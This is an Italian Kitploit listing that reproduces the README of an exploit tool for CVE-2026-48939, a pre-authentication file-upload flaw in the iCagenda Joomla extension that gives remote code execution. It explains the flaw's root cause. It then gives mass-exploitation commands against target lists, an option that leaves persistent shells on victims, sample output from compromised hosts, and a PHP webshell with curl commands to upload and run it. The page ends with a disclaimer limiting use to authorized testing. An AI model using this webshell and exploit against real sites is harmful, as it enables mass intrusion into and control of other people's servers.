Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-48939 — Pre-auth exploit RCE con caricamento file arbitrario per l'estensione iCagenda Joomla < 4.0.8 (CVSS 10.0) | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-48939
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubshinthink/cve-2026-48939

CVE-2026-48939

Pre-auth exploit RCE con caricamento file arbitrario per l'estensione iCagenda Joomla < 4.0.8 (CVSS 10.0)

Vedi Repository
2123 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-48939 — Exploit RCE per iCagenda Joomla

Caricamento file arbitrario senza autenticazione → Esecuzione codice PHP


Panoramica

CVE-2026-48939 è una vulnerabilità critica con CVSS 10.0 nell'estensione iCagenda events calendar per Joomla. La funzionalità di allegato file del modulo di registrazione eventi frontend applica controlli di accesso solo a livello di vista — non al controller — consentendo il caricamento di file non autenticato senza alcuna convalida dell'estensione.

I file caricati finiscono direttamente nella directory web root in /images/icagenda/frontend/attachments/ e sono immediatamente eseguibili come PHP.

Versioni Affette

Versione iCagendaStato
3.2.1 – 3.9.14Vulnerabile
4.0.0 – 4.0.7Vulnerabile
3.9.15 / 4.0.8+Corretta

Meccanismo della vulnerabilità

Causa principale

Il controller registration.submit elabora i caricamenti di file senza imporre la restrizione di accesso "Solo registrati" configurata nelle impostazioni del componente. Gli allegati file vengono scritti con la loro estensione originale senza alcuna lista consentita, controllo MIME o convalida del contenuto.

View Layer   → "Solo registrati" applicato (tenta di bloccare)
Controller   → Nessun controllo di autenticazione (bypassato facilmente con POST)
Gestore file → Nessuna whitelist di estensioni, nessun controllo MIME, nessuna scansione del contenuto
Destinazione → Directory accessibile via web → PHP eseguito direttamente

Flusso dell'attacco

POST /index.php?option=com_icagenda&task=registration.submit
  jform[attachment] = shell.php  →  saved to /images/icagenda/frontend/attachments/

GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
  → PHP executed → RCE

Installazione

git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt

Utilizzo

# Single target
python cve_2026_48939.py -t target.com

# Mass exploit
python cve_2026_48939.py -f targets.txt

# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup

# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt

Argomenti

  -t, --target      Singolo target (dominio o IP)
  -f, --file        Lista di target, uno per riga
  -o, --output      Salva i risultati RCE in un file
  --threads         Lavoratori concorrenti (default: 25)
  --no-cleanup      Lascia le shell sul target
  -v, --verbose     Mostra output dettagliato

Prova di concetto

Sfruttamento

$ python cve_2026_48939.py -t target.com -v
  CVE-2026-48939 — iCagenda Joomla RCE Exploit
  CVSS 10.0 | Pre-Auth | File Upload → RCE

    [+] POST registration.submit (jform[attachment]): HTTP 200
    [+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php

  Host     : target.com
  iCagenda : YES v4.0.5
  Vuln     : YES
  RCE      : YES
  Shell    : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
  Output   : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
  Time     : 3.2s

Output sfruttamento di massa

  CVE-2026-48939 iCagenda RCE Exploit
  Targets: 500 | Threads: 25 | Cleanup: ON
  -------------------------------------------------------

  [RCE]  target-1.com     v4.0.5    3.2s
         uid=1001(www-data) gid=1001(www-data)
  [RCE]  target-2.com     v3.9.12   4.1s
         uid=33(www-data) gid=33(www-data)

  -------------------------------------------------------
  Total: 500 | iCagenda: 23 | RCE: 8
  -------------------------------------------------------

Sfruttamento manuale

Passo 1 — Carica webshell PHP

cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF

curl -sk -X POST \
  -F "title=Event" \
  -F "jform[attachment][email protected];type=application/x-php" \
  "https://target.com/index.php?option=com_icagenda&task=registration.submit"

Passo 2 — Esegui comandi

curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"

Disclaimer

SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.

Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che controllano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.

L'accesso non autorizzato a sistemi informatici è illegale e può violare:

  • Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • Unione Europea: Direttiva 2013/40/UE
  • Regno Unito: Computer Misuse Act 1990

Gli autori non si assumono alcuna responsabilità per l'uso improprio.


Riferimenti

RisorsaLink
IONIX Advisoryionix.io/threat-center/cve-2026-48939
Voce NVDCVE-2026-48939
Changelog di iCagendaicagenda.com/docs

Questo progetto non è affiliato con iCagenda o Joomlic.

Scarica lo strumento